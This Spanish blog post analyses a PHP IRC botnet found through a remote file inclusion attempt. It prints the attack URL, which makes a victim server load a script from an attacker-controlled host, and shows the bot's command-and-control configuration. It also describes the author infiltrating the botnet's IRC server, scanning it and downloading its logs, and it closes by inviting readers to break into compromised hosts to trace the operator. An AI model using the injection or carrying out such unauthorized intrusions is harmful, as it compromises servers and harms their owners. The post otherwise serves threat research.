Destripando una Botnet y Rastreando a su Titiritero

 
Hace unos días un amigo me comentó que alguien había intentado acceder a su web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y le dije que me enviara ejemplos de lo que habían tratado de hacer.

Intento de explotación de un RFI:

www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo ".txt":

/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Vamos a ver el contenido de ese sospechoso txt que podemos encontrar aquí:
[Les recomiendo descargar el txt para que puedan seguir paso a paso el post y entiendan varios puntos ;) ]

Bueno, una vez teniendo el txt veremos:



var $config = array("server"=>"irc.dominio.net",
                     "port"=>"6667",
                     "pass"=>"",
                     "prefix"=>"BoT",
                     "maxrand"=>"5",
                     "chan"=>"#channel",
                     "chan2"=>"#channel",
                     "key"=>"senhadocanal",
                     "modes"=>"+p",
                     "password"=>"terpmak",
                     "trigger"=>".",
                     "hostauth"=>"127.0.0.1"
                     );
?>

A simple vista lo primero que llama la atención son tres cosas, una cabecera con una muy buena descripcion de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad (-_-)! .
En este punto sabemos que lo que quiere el "Juaker" es controlar el host donde se aloja la web para convertirla en un bot que pueda utilizar en ataques DDoS, que el C&C está alojado en un canal IRC en un servidor controlado por el atacante y que los atacantes probablemente sean indonesios ya que buscando por el nombre de la comunidad en google podemos ver un blog donde publican scripts, aunque tambien puede ser que alguien los haya tomado y reutilizado (suele pasar :/ ). 
Para salir de dudas profundizamos un poco y nos conectamos al C&C de los atacantes al que accedemos sin restricción. Por los datos que nos devuelve el servidor vemos que hay bastantes usuarios conectados:
* There are 281 users

Pensando un poco me doy cuenta que los zombies conectados siguen un patrón de nomenclatura de este estilo UBoTXXXXX o ABoTXXXXX, por lo que el bot que nos ha expulsado tiene que reconocer ese patron y mantenerlos conectados así que nueva ip, nombre acorde a sus normas y BINGO, estamos dentro, preparamos un bot que se mantenga conectado y registramos los logs del IRC para ver que actividades siguen los "Juakers" XD .
Despues de  24 horas de registro ya tenemos datos suficientes:
  • Hay dos canales de actividad básica
  • Los delincuentes usan el indonesio como idioma principal
  • Utilizan diferentes escaners de vulnerabilidades que se basan en dorks las 24 horas del dia para ir consiguiendo hosts que puedan comprometer y unir a la botnet.
  • Las vulnerabilidades mas usadas son RFI, SQLi y LFI
Todos los hosts usados para comprometer otros  han sido vulnerados antes, a los que se suben herramientas que les sirven a los atacantes para sus propósitos, unos ejemplos de estas herramientas son: mailerx.php (Herramienta para spam), dumper.php(Herramienta de volcado de DB), nochex_apc.php (Shell PHP) y 3xp.php (Uploader).
Ahora ya conocemos el la manera enla que operanlos Titiriteros (administradores) de la botnet, pero vamos a ver en que negocios se mueven y porque tanto misterios jojojo. Listando los canales del IRC y leyendo los topics de cada uno de ellos veo que hay dos canales bastante poblados que coinciden con los nombres de dos administradores que están en el canal principal donde el topic es:
* [-=BKHT=-] * (®) Available : || Shell c99 & r57 | Mailer | cPanel Hack Host | SMTP | Rdp | WHM | Root | SSH || Contact : Nick || Email : email@gmail.com || Card Credit Frees PM xNx or Email email@host.us Send Card Credit Frees No Bacot (®)'

Esto sumando a otros topics donde se incluyen carders, mas scanners, etc...deja una clara visión de a lo que se dedica esta gente.

Por último y sin desviarnos entre todos los otros servidores IRC y webs que nos invitan a entrar desde los topics pasamos nmap al servidor IRC para ver que esconde:
PORT    STATE SERVICE
21/tcp    open      ftp
53/tcp    open      domain
80/tcp    open      http
110/tcp  open      pop3
143/tcp  open      imap
443/tcp  open      https
465/tcp  open      smtps
993/tcp  open      imaps
995/tcp  open      pop3s

Vemos que entre otras cosas hay un servidor web alojado así que probamos entrar y solo nos muestra una imagen, así que como eso no nos dice mucho vamos a ver el código fuente:

¿Serán que son buenos administradores?
ha, por lo visto no lo son, así que nos descargamos los archivos y los analizamos en local. Una vez descomprimido service.tgz nos encontramos la siguiente estructura de archivos:
audit@kali:~/Desktop/Botnet/services$ ls -al
total 3952
drwxrwxrwx 7 1002 1003    4096 jun 21 10:53 .
drwxr-xr-x 5 root root    4096 jul 12 11:39 ..
-rwxr-xr-x 1 1002 1003    3862 abr 14 16:46 anoperc
drwxr-xr-x 2 1002 1003    4096 jun 20 19:01 backups
-rw------- 1 1002 1003      55 jun 21 10:53 bot.db
-rw------- 1 1002 1003  229744 jun 21 10:53 chan.db
-rw------- 1 1002 1003      12 may 15 02:42 cs_autolimit.db
-rw-r--r-- 1 1002 1003     886 abr 14 16:46 example.chk
-rw-r--r-- 1 1002 1003   56916 abr 14 16:46 example.conf
-rw------- 1 1002 1003       6 jun 21 10:53 exception.db
-rw------- 1 1002 1003   40664 jun 21 10:53 hosts.db
-rw------- 1 1002 1003       0 jun 21 10:53 hs_request.db
drwx------ 2 1002 1003    4096 jul  5  2011 languages
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listchans
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 listnicks
drwxr-xr-x 2 1002 1003    4096 jun 20 19:01 logs
drwxr-xr-x 3 1002 1003    4096 abr 14 16:46 modules
-rwxr-xr-x 1 1002 1003    5926 abr 14 16:46 mydbgen
-rw------- 1 1002 1003     333 jun 21 10:53 news.db
-rw------- 1 1002 1003  210180 jun 21 10:53 nick.db
-rw------- 1 1002 1003      20 jun 21 10:53 oper.db
-rw------- 1 1002 1003       0 jun 21 10:53 os_info.db
-rwxr-xr-x 3 1002 1003 1123184 abr 14 16:46 services
-rwxr-xr-x 1 1002 1003     895 mar  2 08:13 services.chk
-rw-r--r-- 1 1002 1003    6773 may 21 06:33 services.conf
-rw------- 1 1002 1003       5 may 21 06:33 services.pid
-rw-r--r-- 1 1002 1003   12654 abr 14 16:46 tables.sql
drwxr-xr-x 2 1002 1003    4096 abr 14 16:46 tools
-rwxr-xr-x 1 1002 1003   21516 abr 30  2012 xh

El directorio que mas me llama la atención es logs, así que vamos a su interior y vemos lo siguiente:
-rw------- 1 1002 1003 15589 jun 15 18:56 services.log.20130615
-rw------- 1 1002 1003 11762 jun 16 18:46 services.log.20130616
-rw------- 1 1002 1003 10969 jun 17 18:51 services.log.20130617
-rw------- 1 1002 1003 14184 jun 18 18:41 services.log.20130618
-rw------- 1 1002 1003 14016 jun 19 18:56 services.log.20130619
-rw------- 1 1002 1003 23509 jun 20 18:52 services.log.20130620
-rw------- 1 1002 1003  8884 jun 21 10:57 services.log.20130621

¿Que mejor que unos logs frescos para echar un vistazo? :p Como ya conocemos el nombre de los administradores del servidor IRC filtramos por sus nombres y nos encontramos con las ips desde las que se han conectado los administradores durante esas fechas:
[Jun 15 01:39:27 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1 
[Jun 15 21:10:45 2013] NickServ: admin1!admin1@XXX.XXX.XXX.XXX identified for nick admin1

Todas las ips extraídas son de servidores comprometidos, pero algunas de ellas siguen vivas y se repiten a lo largo del log, por lo que entrando a ellos podríamos analizar la IP original del atacante, por mi parte es todo si gustan ustedes lo pueden seguir mas adelante XD y ver hasta donde les pueden hacer ver su suerte a los delincuentes :p ,

Hay algunos datos que omití o información que no anote pero el post tiene lo suficiente como para que se den una idea básica sobre este tema :)